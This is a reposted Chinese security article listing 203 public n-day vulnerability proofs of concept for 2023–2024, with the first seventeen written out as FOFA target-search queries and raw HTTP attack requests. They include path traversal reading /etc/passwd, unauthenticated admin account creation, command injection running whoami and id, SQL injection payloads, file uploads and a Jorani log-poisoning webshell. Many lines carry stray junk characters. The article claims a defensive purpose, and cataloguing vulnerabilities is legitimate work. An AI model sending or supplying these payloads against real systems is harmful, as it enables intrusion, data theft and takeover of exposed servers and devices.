互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

: t9 ?# E0 b5 m$ W4 L发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

6 S' M. Q( z3 ]8 A& Z% S# w: b/ O; z漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
0 R8 A9 C  Y' d6 f
' O% E$ Y& D& F' X4 A合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
/ \" u* g( P! B$ R+ Y- `

声明

: j' e1 y, p* _8 w2 H+ {为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
; `0 v1 X. s2 Q' |3 y


7 S5 P2 D8 f% F# N# Z目录

+ ?4 ?; B6 |& t* `/ h01
) Z4 r, u- `& @9 P
1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
' Z3 c# w6 Z; E; W# |9 K5. NUUO NVR 视频存储管理设备远程命令执行
& `) N, T4 ^; h6. 深信服 NGAF 任意文件读取
- ]3 M7 [( {0 L( M! S6 z7. 鸿运主动安全监控云平台任意文件下载
5 @. m( T. }1 X8. 斐讯 Phicomm 路由器RCE
4 `; R; J) p  I9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
% L4 [% y7 ?0 k2 r: {17. 大华 DSS itcBulletin SQL 注入
; d  `- ^( ^) n$ |! {18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
1 T8 M% i/ A  m# B19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
) d" K: }* [* I( H26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
+ m' r8 Q8 ^& D28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
  u7 y4 E/ f, r$ D7 }30. 用友NC importPml SQL注入
" X( H% l0 s" n. n2 O3 H& ?, T( t- r31. 用友NC runStateServlet SQL注入
7 H7 l1 |* S* l7 d32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
* R- c7 K$ I; C0 q  O* U, O; ~34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
# I3 a+ J% P* _& X$ l8 n2 d37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
4 e2 I8 K8 E6 K8 E) y39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
5 N& d9 u1 i% A1 [( e2 i, ~41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
: I, m$ J3 x; C8 ^6 \4 u0 ]44. 用友GRP-U8 bx_dj_check.jsp SQL注入
  J, s& }0 D- H- r45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
, s8 B" u( m* ]( h47. 用友GRP A++Cloud 政府财务云 任意文件读取
* }0 L5 G. V; Y# i. q: X48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
4 D6 e8 b$ S1 T7 q0 c50. QDocs Smart School 6.4.1 filterRecords SQL注入
5 i# o! n! L; _51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
, u9 G7 P7 _) z$ A) C8 B9 E52. 泛微E-Office json_common.php sql注入
/ ]% x2 }% b- @8 o( d, Y% g* E53. 迪普 DPTech VPN Service 任意文件上传
( `) Y, n; H5 h! e54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
! k) A. r* y2 W7 N- }% |% _; z58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
1 u& l* z4 z, o5 e; z0 \0 [60. 百卓Smart管理平台 importexport.php SQL注入
+ R/ z2 Q' q4 ]5 X/ R1 H+ Z61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
) i1 b( x& t( O$ p63. IP-guard WebServer任意文件读取
, J7 Q* G& p) u0 A' b! D- j64. 捷诚管理信息系统CWSFinanceCommon SQL注入
+ M4 u9 b( l: ^) h) ^65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
7 o7 Q4 S/ r" S8 X( [66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
* X; n- f7 K* @3 |" w67. 万户ezOFFICE wpsservlet任意文件上传
5 k! p1 N7 C- A1 S68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
4 V9 `: k( Y, d73. GeoServer wms远程代码执行
7 h% h. C  m6 A' d! u$ A6 A2 f2 H74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
# H2 J9 Q9 P8 l3 k77. F22服装管理软件系统UploadHandler.ashx任意文件上传
# O+ R& ?4 H% ?: F9 i  n1 Q78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
1 `& R- ~; d# M, l" c* i; L' ?1 X5 Q81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
7 }; s6 n1 }6 [7 b: H9 U83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
. |& v/ W6 g2 I/ I# ]86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
! Q: ]  }2 ~* h- }" S7 o88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
  u, Z1 E9 H" P( v89. 致远互联FE协作办公平台editflow_manager存在sql注入
  i, A1 k7 s$ ~# Z* a* g* h. Z90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
. G6 V) r% `/ S8 K7 L91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
2 Y3 Y4 O; t5 ~% |6 d92. 海康威视运行管理中心session命令执行
( |2 Y& [9 v- k5 D: f+ i& E93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
5 e, b( C! V1 y' I: f95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
; s: L% U, \' m; v. o97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
' @6 x( r: a7 `: M3 z100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
7 P3 s: t! _' w, S101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
. G. M2 q3 g1 y  w  h- D/ q; S103. Ivanti Pulse Connect Secure VPN XXE
' x/ E% k0 u0 |# j& m104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
* \5 v/ b; T7 _8 p+ M' o105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
, \. J* N6 E0 P" q- j; c108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
) G, a, T$ I: Z, S0 r7 v112. WordPress Plugin NotificationX SQL 注入
' E: R# m! o9 L; T/ h. R; q" e113. WordPress Automatic 插件任意文件下载和SSRF
0 E: O$ q( b2 X. m( E2 M/ m114. WordPress MasterStudy LMS插件 SQL注入
8 V$ ^& ~! b: ^; c6 f0 f9 Z115. WordPress Bricks Builder <= 1.9.6 RCE
0 a' R1 J$ i6 x# @116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
% o( J6 r! ]4 @  {118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
1 p" m* u. e8 w3 H& X# B3 T120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
( D( r( S8 ]5 q# ]+ [) \, b0 S122. 北京百绰智能s200管理平台/importexport.php sql注入
+ @* P$ M+ f% \: |( j5 g' E123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
: I0 t& e, v% c, g) b( Q- |; X126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
2 p! W+ B* ^& R129. Adobe ColdFusion 任意文件读取
1 p  Z3 k6 L# P6 o3 s2 o- n$ }130. Laykefu客服系统任意文件上传
. x; F7 {7 C! Q! P1 [131. Mini-Tmall <=20231017 SQL注入
* J; b% @* ^- Y* P132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
2 r( }0 v" J4 _134. 网康NS-ASG应用安全网关index.php sql注入
% ^( Q! t4 T: k2 I* K1 J  \135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
- u1 p) i; d! w4 K8 R: Z8 |136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
/ c) f* z0 v# {138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
& M8 q9 @5 @3 l5 g( I145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
6 e1 z8 ?5 l) {7 T) n. \146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
, A$ e" f# [8 Z, j+ i& V" w. k! c149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
: d' R6 _8 h  C2 a$ Q* O' `6 r151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
- L8 `3 Z6 y3 e2 [154. 天维尔消防救援作战调度平台 SQL注入
  U1 Z2 g# }! o2 a155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
& I* G( b8 u  @5 f; `2 ]" J157. 美特CRM upload.jsp 任意文件上传
3 F+ a( _" K3 x2 s" x158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
' [3 V5 L/ b0 ~% m$ F6 M/ C160. Sonatype Nexus Repository 3目录遍历与文件读取
( g- w7 d2 Q, |161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
- H7 r3 }3 q( j; ^4 ]- [5 I163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
+ d, J/ n, F- S( {: T165. OrangeHRM 3.3.3 SQL 注入
% D8 V+ ]* B+ E8 B; S166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
+ v( R" j. v4 X5 E; {168. 宏景EHR OutputCode 任意文件读取
) P9 O5 @2 Z, P/ L) S169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
! K. A  g) Z- ?% J. f; E+ r175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
3 m( V2 ]0 p( z8 K1 `' M$ Y! l182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
0 q& Z) p0 L/ |; p183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
8 i; N9 Y4 f7 U" g& x184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
, r- I) e( F9 S4 r185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
- w8 P# Q& n) D( b* ]187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
5 N; h: F& I/ A; e8 s" x4 c189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
* U0 c! f) Y4 k" o/ }6 v192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
  p5 M% i$ @" O1 }0 M193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
& @' V/ j/ U( I9 W9 E1 Y. j, p9 U194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
% b; N. s: m: x/ J  c% g195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
+ D4 _7 E* p7 l197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
. h: m3 e8 F7 \4 E, P9 G$ f" h0 i% b198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
" l& a/ W; {9 g4 l/ k4 ~6 g, b201. 方正全媒体新闻采编系统 binary SQL注入
# _3 |9 @) v- s202. 微擎系统 AccountEdit任意文件上传
" L, @! ]) k  c/ D203. 红海云EHR PtFjk 文件上传

$ r/ w; T9 C( f6 hPOC列表

/ {$ H" y1 p; F3 R' }4 s02

1 U; i) {- Z) B2 o1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
" ?# Z6 S$ C( v, u( J9 M, mGET /mem_tracker HTTP/1.1
% x7 E- r# E9 L$ a1 K' DHost: URL
7 [$ S! P. p3 v& m

2. Casdoor系统static任意文件读取
2 W2 s9 K5 r, b  _, mFOFA ：title="Casdoor"
2 }( b' T) \; k1 f/ j6 A1 l' f- tGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
0 N# h! x; d9 Y% S+ b: VAccept: */*
Accept-Language: en
7 O7 B" z( q- Y9 {7 b. YAccept-Encoding: gzip
+ h' ?2 k5 d5 N2 h

3. EasyCVR智能边缘网关 userlist 信息泄漏
! {8 Y* \  u- r* l0 zFOFA ：title="EasyCVR"
6 y& q! s" n& Z) D* F. P) AGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
. B/ j6 r* o3 LHost: xx.xx.xx.xx
9 |* [7 C2 f- t5 g6 l9 y

4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
  J, q; I" K7 O+ G8 U. i
password更改为自己的密码md5
& [) b) P/ w. M* xPOST /api/v1/adduser HTTP/1.1
( d" Y' _* F' Q% e' m0 tHost: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
0 Q4 g) E! R; o2 B$ B. @; M
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
$ ^) _" m0 {5 K$ V7 o. r
+ v" ~) k' W; ^8 p# A" A4 K
* T- X0 a# t: J  Z0 K9 {* J5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
& z# o1 K# ]; P+ f* W2 E) ^6 }4 dHost: xx.xx.xx.xx
) ~5 q: z: m7 r1 t$ Z

6. 深信服 NGAF 任意文件读取
# f+ j. A7 n9 y, yFOFA：title="SANGFOR | NGAF"
' `1 Q. f6 p, H2 ^6 @5 l6 j( IGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:


7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:


" t) t2 u" F7 ^% E# [6 Y8. 斐讯 Phicomm 路由器RCE
" N% w7 U. [4 Q1 t9 k$ i/ YFOFA：icon_hash="-1344736688"
" S! x, |7 B# ^* D  O7 F# n默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
8 i" C. F$ ~7 j3 n, wCookie: sysauth=第一步登录获取的cookie
- \2 x8 m  g. M& y& G* d+ jContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

. i  z# X1 k+ b1 x2 I% r  m& Q------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
+ O1 L+ i9 L2 x- ]+ K
7 N" w! Z# Y1 Y2 [+ s8 L%s
------WebKitFormBoundaryxbgjoytz
& D' W' Q! x, o( F: EContent-Disposition: form-data; name="wifiRebootrange"

) J; N5 }' l) v/ h9 Z, g% W! t12:00; id;
------WebKitFormBoundaryxbgjoytz
) E; A2 f6 @! d* o- \: X  U( lContent-Disposition: form-data; name="wifiRebootendrange"

$ U2 u: l0 |% E" A  S: n%s:
: ~- U3 l* F7 W( Y& t------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
* g( U! H3 Z; o6 `$ R

) N0 i. N1 O/ P5 D------WebKitFormBoundaryxbgjoytz--
) G+ C6 M% ?  ~, A
5 }, b  u% ]+ P/ E3 E
9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
' \* x8 i6 d% KGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x


payload为下列语句的二次Url编码
: c: B* w( M% M- l9 g" M
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
. _% `3 S  f6 q1 g# BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
. P; r" @3 @5 g2 t! Q- jContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
# v( g% K- L- y4 c8 y' C, n1 KAccept-Language: zh-CN,zh;q=0.9
Connection: close
+ L, I2 W$ a! Y! xContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
  O$ I* w: u- g
------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

3 T2 f" H  K! m# U$ `jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
+ O3 k/ c3 U( b" l8 D+ {' t

11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
# _+ t5 }9 [# H  aFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
6 |. [0 }$ m8 O: GGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
7 V  }; V3 P9 K0 v8 b" t0 sPragma: no-cache
/ o1 P  N0 g. g/ |& w# \2 DCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
! u/ I! K) M; r! g5 }. ]* b7 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
6 o1 t8 {2 ~9 ~, u$ t: b" iAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

8 |) K% t. Q1 O- c: T
7 [, t( a. {: C/ z  e12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
3 z4 I7 }) w! ~- Y! K: lUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
& W+ O* j( A; W# F. A4 o. h: XAccept-Encoding: gzip

! O, F& B+ \7 D, i; h4 Q1 P- I4 t
响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
; s0 w( E- O/ wCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
, b' B9 e7 n) [! z) a, Q% CLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
5 L7 u2 J( D4 d+ S, IPragma: no-cache
2 p7 h4 p9 m- V, J* pServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
& g2 p! i, t5 t% ^; aVary: Accept-Encoding


POST请求，执行函数并进行base64编码
- F7 \, x' |! [) E/ t$ IPOST /session/login HTTP/1.1
9 I2 y! Q6 ~) c, Z# fHost: 192.168.190.30
# b& z2 R: P. U- e" DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
" Y$ N7 I* Z( h- c3 VAccept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
( T5 U8 l1 X" c  p+ i' r, @


向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
- y- p5 W$ l2 E) y6 n4 f; Y. TCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
1 G8 ?5 h4 Z( I, LK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
: b5 @; p% ~# V; _, L0 NX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
! t0 o! ~, D. v2 v  X, ]/ a- b2 p
! @# i! n/ _3 I5 k3 {
: n+ D4 i8 }$ y+ z6 x# [9 r( C13. 红帆iOffice ioFileDown任意文件读取
' t+ L! t6 L3 |) |  ]# ?FOFA：app="红帆-ioffice"
4 Z0 y' m; {5 m, ]GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
( j& ?$ S! {: ]; Q' n& `# `# eUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
. n0 t7 I5 `$ x7 A: y. B- SConnection: close
Accept: */*
% E  l1 I* q: `, xAccept-Encoding: gzip
2 q' j5 V0 W6 `, W7 M6 E

14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
$ a9 g* [7 _( s& B/ ^9 FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
: X( Y) P# x' q# |( B4 g# [Accept-Encoding: gzip


15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
2 I, M: \8 D+ ^) i6 p6 J. DHost: 192.168.40.130:100
) J+ E/ x9 q! u$ J# n# pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
9 n+ t. m, f* z+ g+ yAccept-Encoding: gzip
! i) g6 n. G7 \4 o4 i
8 K. ?4 t  f1 [" z% Y  l
' h2 g) \: j" e8 x: H16.  红帆HFOffice医微云SQL注入
6 ?0 l" l: M! P0 `% K0 w$ hFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
% d3 v# p. Y" l+ tGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
8 U# y* }+ {% f" [9 d- t8 i" A& zUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

. ^' I  K, G0 |% |: T$ ^
17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
- c# v% U( I" U; G( M% d  uHost: x.x.x.x
